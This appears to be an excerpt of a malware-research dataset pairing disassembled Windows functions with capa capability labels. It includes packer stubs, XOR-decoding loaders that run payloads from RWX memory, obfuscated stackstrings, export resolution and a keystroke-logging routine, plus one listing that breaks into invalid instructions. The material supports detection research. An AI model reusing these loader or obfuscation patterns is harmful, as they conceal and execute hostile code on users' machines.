joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014d0
Capabilities:
Accept command line arguments
Resolve path using msvcrt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x403014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
xor al, al
mov edi, edi
movzx ecx, word [esi]
mov edx, esi
add esi, 2
cmp ecx, 0x22
jne 0x401504
test al, al
sete al
jmp 0x401509
test cx, cx
je 0x401519
test al, al
jne 0x4014f0
cmp ecx, 0x20
je 0x40151b
cmp ecx, 9
jne 0x4014f0
jmp 0x40151b
mov esi, edx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p__wpgmptr]
push 0
push 0
push 0
push 0
push 0x100
lea ecx, [ebp - 0x20c]
push ecx
push 3
lea ecx, [ebp - 0xc]
push ecx
push dword [eax]
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wsplitpath_s]
push 0x40104c
push 0x401058
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wmakepath_s]
push 0
push esi
push 0x401038
push 0x401064
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.api_ms_win_crt_process_l1_1_0.dll__wspawnl]
add esp, 0x54
cmp eax, 0xffffffff
jne 0x4015da
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
push 0
push esi
push 0x401038
mov ebx, dword [eax]
push 0x401064
push 0x401070
push 0
call dword [sym.imp.api_ms_win_crt_process_l1_1_0.dll__wspawnlp]
add esp, 0x18
cmp eax, 0xffffffff
jne 0x4015d9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
push dword [eax]
push ebx
push 0x401044
push 0x401088
call fcn.00401600
add esp, 0x10
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401881
mov esp, ebp
pop ebp
ret
Function at 0x4021f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00402250

Function at 0x402250
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4063a0]
test esi, esi
jle 0x402343
mov edi, dword [0x4063a4]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x402284
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40233c
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x402270
mov dword [esp], eax
mov esi, eax
call fcn.00402b40
test eax, eax
mov edi, eax
je 0x402380
mov esi, dword [0x4063a4]
lea ebx, [ebx + ebx*4]
shl ebx, 2
add esi, ebx
mov dword [esi + 0x10], eax
mov dword [esi], 0
call fcn.00402c50
add eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x4063a4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x402360
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x402335
sub eax, 4
and eax, 0xfffffffb
je 0x402335
add ebx, dword [0x4063a4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x40234a
add dword [0x4063a0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor ebx, ebx
jmp 0x40228e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.004021f0
mov eax, dword [0x4063a4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.004021f0
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call fcn.004021f0
Function at 0x4027c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4063b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4063b0]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402815
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40280e
test esi, esi
je 0x40280e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4027f0
mov dword [esp], 0x4063b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x440130
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.tJrdyPER
lea edi, [esi - 0x13000]
push edi
or ebp, 0xffffffff
jmp 0x440152
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x440159
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x440148
mov eax, 1
add ebx, ebx
jne 0x44016b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x440160
jne 0x44017c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x440160
xor ecx, ecx
sub eax, 3
jb 0x440190
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x440202
mov ebp, eax
add ebx, ebx
jne 0x44019b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4401a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4401cc
inc ecx
add ebx, ebx
jne 0x4401b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4401ad
jne 0x4401c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4401ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4401ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4401dd
jmp 0x44014e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4401ec
add edi, ecx
jmp 0x44014e
pop esi
lea edi, [esi + 0x3e000]
mov eax, dword [edi]
or eax, eax
je 0x440254
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4020c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x402b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x440209
mov ecx, edi
jns 0x440238
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x402bc]
or eax, eax
je 0x44024e
mov dword [ebx], eax
add ebx, 4
jmp 0x440226
call dword [esi + 0x402b8]
mov ebp, dword [esi + 0x402c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x440288
sub esp, 0xffffff80
jmp section.NDltoTPW
Function at 0x1000cbf0
Capabilities:
Create process on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x8c
mov esi, ecx
mov eax, dword [0x1002b040]
xor eax, esp
mov dword [esp + 0x88], eax
cmp dword [ecx + 0x10], 0
sete byte [esp + 0x2b]
mov eax, 0x29959e79
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ebp, [esp + 0x44]
lea edi, [esp + 0x34]
jmp 0x1000cc70
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], ebp
movaps xmm0, xmmword [0x10023970]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
mov eax, 0xb1752e89
mov ecx, 0x6bba4f29
cmove eax, ecx
nop
cmp eax, 0x29959e78
jle 0x1000ccb0
cmp eax, 0x6bba4f29
je 0x1000cd05
cmp eax, 0x50712247
je 0x1000cd51
cmp eax, 0x29959e79
jne 0x1000cc70
cmp byte [esp + 0x2b], 0
mov eax, 0x11fa033d
mov ecx, 0x50712247
cmovne eax, ecx
jmp 0x1000cc70
cmp eax, 0xb1752e89
je 0x1000cd17
cmp eax, 0x11fa033d
jne 0x1000cc70
mov dword [esp + 0x2c], ebp
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
xorps xmm0, xmm0
movups xmmword [eax + 0x30], xmm0
movups xmmword [eax + 0x20], xmm0
movups xmmword [eax + 0x10], xmm0
movups xmmword [eax], xmm0
mov dword [eax + 0x40], 0
mov dword [esp + 0x30], edi
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x30]
movups xmmword [eax], xmm0
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x1000cc28
mov eax, dword [esi]
jmp 0x1000cc28
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
mov eax, 0x50712247
jmp 0x1000cc70
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, 0x6bba4f29
jmp 0x1000cc70
mov ecx, dword [esp + 0x88]
xor ecx, esp
call fcn.100149fa
add esp, 0x8c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10015926
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10015965
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10015965
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10015965
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10015965
cmp dword [ecx + 0x74], 0xe
jbe 0x10015965
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10016ca0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10016ccd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10016ccd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10016ff0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10021620
push 0x10021618
push str.FlsAlloc
push 0x1f
call fcn.100172d3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10017024
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x1001702a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001706e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10021630
push 0x10021628
push str.FlsGetValue
push 0x21
call fcn.100172d3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100170a5
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100170ad
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10021638
push 0x10021630
push str.FlsSetValue
push 0x22
call fcn.100172d3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100170e7
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10019fae
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001a04b
push ebx
push esi
call fcn.1001a04e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10019eb2
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10019ff8
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001a04a
push edi
push eax
call fcn.1001a2ac
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001a018
call fcn.100185a0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001a049
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10019eb2
add esp, 0x20
test eax, eax
jne 0x1001a037
push edi
call fcn.100185a0
jmp 0x1001a03f
push ebx
call fcn.100185a0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x5194b0
Capabilities:
Get thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x542b38
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x58ab78]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov eax, dword [0x58c3cc]
mov edi, dword [esp + 0x24]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edi
cmp eax, 0xffffffff
je 0x519561
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x519561
lea esi, [eax + 0x14]
lea eax, [esp + 0x24]
mov ecx, esi
push eax
lea eax, [esp + 0x14]
push eax
call fcn.004f8e70
mov eax, dword [esp + 0x10]
cmp eax, dword [esi]
je 0x519561
lea esi, [eax + 0x14]
test esi, esi
je 0x519561
cmp byte [esp + 0x34], 0
je 0x519536
mov ecx, dword [esi]
test ecx, ecx
je 0x519536
mov edx, dword [esi + 8]
test edx, edx
je 0x519536
mov eax, dword [ecx]
push edx
call dword [eax + 4]
cmp dword [esp + 0x28], 0
mov ebx, dword [esp + 0x30]
jne 0x519550
test ebx, ebx
jne 0x519550
push edi
call fcn.005188e0
add esp, 4
jmp 0x519599
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call fcn.00517d70
mov dword [esi + 8], ebx
jmp 0x519599
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x30]
test ecx, ecx
jne 0x519571
test eax, eax
je 0x519599
push eax
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [esp + 0x38]
mov dword [eax + 4], ecx
test ecx, ecx
je 0x519590
add ecx, 4
mov eax, 1
lock xadd dword [ecx], eax
push edi
call fcn.00518080
add esp, 0x10
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x1c], 0xffffffff
test esi, esi
je 0x5195d4
or edi, 0xffffffff
lea ecx, [esi + 4]
mov eax, edi
lock xadd dword [ecx], eax
cmp eax, 1
jne 0x5195d4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
lea eax, [esi + 8]
lock xadd dword [eax], edi
cmp edi, 1
jne 0x5195d4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x519baf
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push esi
mov byte [ebp - 0x48], 0x47
mov byte [ebp - 0x47], 0x25
mov byte [ebp - 0x46], 0x39
mov byte [ebp - 0x45], 0x76
mov byte [ebp - 0x44], 0x29
mov byte [ebp - 0x43], 0x45
mov byte [ebp - 0x42], 0x48
mov byte [ebp - 0x41], 0x70
mov byte [ebp - 0x40], 0x68
mov byte [ebp - 0x3f], 0x2a
mov byte [ebp - 0x3e], 0x6c
mov byte [ebp - 0x3d], 0x31
mov byte [ebp - 0x3c], 0x4a
mov byte [ebp - 0x3b], 0x68
mov byte [ebp - 0x3a], 0x4d
mov byte [ebp - 0x39], 0x78
mov byte [ebp - 0x38], 0x6e
mov byte [ebp - 0x37], 0x50
mov byte [ebp - 0x36], 0x26
mov byte [ebp - 0x35], 0x23
mov byte [ebp - 0x34], 0x5a
mov byte [ebp - 0x33], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x54], 0
mov eax, 0x6b
mov word [ebp - 0xa4], ax
mov ecx, 0x65
mov word [ebp - 0xa2], cx
mov edx, 0x72
mov word [ebp - 0xa0], dx
mov eax, 0x6e
mov word [ebp - 0x9e], ax
mov ecx, 0x65
mov word [ebp - 0x9c], cx
mov edx, 0x6c
mov word [ebp - 0x9a], dx
mov eax, 0x33
xor eax, dword [eax]
add byte [eax], al
mov word [ebp - 0x98], ax
mov ecx, 0x32
invalid
invalid
lea ebp, [edx - 1]
invalid
Function at 0x51a4ff
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x10], edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx + 0x78]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
jmp 0x51a562
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 0x18]
jae 0x51a5a4
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0051a45f
add esp, 4
cmp eax, dword [ebp + 0xc]
jne 0x51a5a2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
jmp 0x51a5a6
jmp 0x51a559
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x51cc23
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10009830
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10009830
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10009830
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10009830
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10009830
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10009830
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10009830
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10009830
push 0xd008
push edi
call fcn.10009830
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10009830
int3

Function at 0x10009830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1000983f
pop dword [ebp - 0x50]
mov eax, 0x1000983f
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3bf07
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0xe3614b5a
sub ecx, 0xe360f79a
xor ebx, ebx
add ebx, eax
mov esi, 0xbfc3921
add esi, 0x4054cdf
add esi, dword [ebp - 0x50]
mov edi, 0xcb391f73
xor dword [ebp - 0x24], 0xec1e0992
mov edx, dword [esi]
add dword [ebp - 0x30], edi
sub edx, edi
add dword [ebp - 0x38], ebx
mov dword [ebx], edx
xor dword [ebp - 0x20], eax
add ebx, 0x6786b9d4
add ebx, 0x98794630
add esi, 4
loop 0x10009890
add eax, 0xaca2ab24
add eax, 0x535e96af
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x10041e55
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10041e64
pop dword [ebp - 0xc]
mov eax, 0x10041e64
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xaeb8064
sub dword [ebp - 0x1c], 0xbc993b19
mov dword [ebp - 0x18], 0xbc2b4293
sub dword [ebp - 0x18], 0x89f7f64e
mov dword [ebp - 0x14], 0x38d9cda3
sub dword [ebp - 0x14], 0xec8d8975
mov dword [ebp - 0x10], 0x484245ed
add dword [ebp - 0x10], 0xb7bdba13
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xc5b9fd3
sub eax, 0xfc574ecf
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x8356e2b7
sub dword [ebp - 0x1c], 0xee47961
mov dword [ebp - 0x18], 0xff2c0171
sub dword [ebp - 0x18], 0xbdbf9ffc
mov dword [ebp - 0x14], 0xc6a789fe
sub dword [ebp - 0x14], 0x63381d92
mov dword [ebp - 0x10], 0xdfd43c3c
add dword [ebp - 0x10], 0x202bc3c4
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x91a952ae
add eax, 0x7e5afe0a
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x49041
push 0
call eax
mov ecx, 0xdba912f6
sub ecx, 0xdba8d233
xor ebx, ebx
add ebx, eax
mov esi, 0xe40a2255
sub esi, 0xd402d255
add esi, dword [ebp - 0xc]
mov edx, 0x73e6939c
sub edx, 0xdca3a356
sub dword [ebp - 8], 0xb8ee1230
mov edi, dword [esi]
add edi, edx
add dword [ebp - 8], 0x8720dafc
mov dword [ebx], edi
xor dword [ebp - 4], 0xa4a5a4bc
add ebx, 0xfd8bbfb5
sub ebx, 0xfd8bbfb1
add esi, 0x6bf1a666
add esi, 0x940e599e
loop 0x10041f83
add eax, 0x893d2e8d
add eax, 0x76c3c752
xor ebx, ebx
add ebx, eax
add eax, 0xf1c0d1d
add eax, 0xf0e3f2e8
mov ecx, 0xfeecac28
add ecx, 0x111353d8
add ecx, dword [ebp - 0xc]
call ebx
leave
ret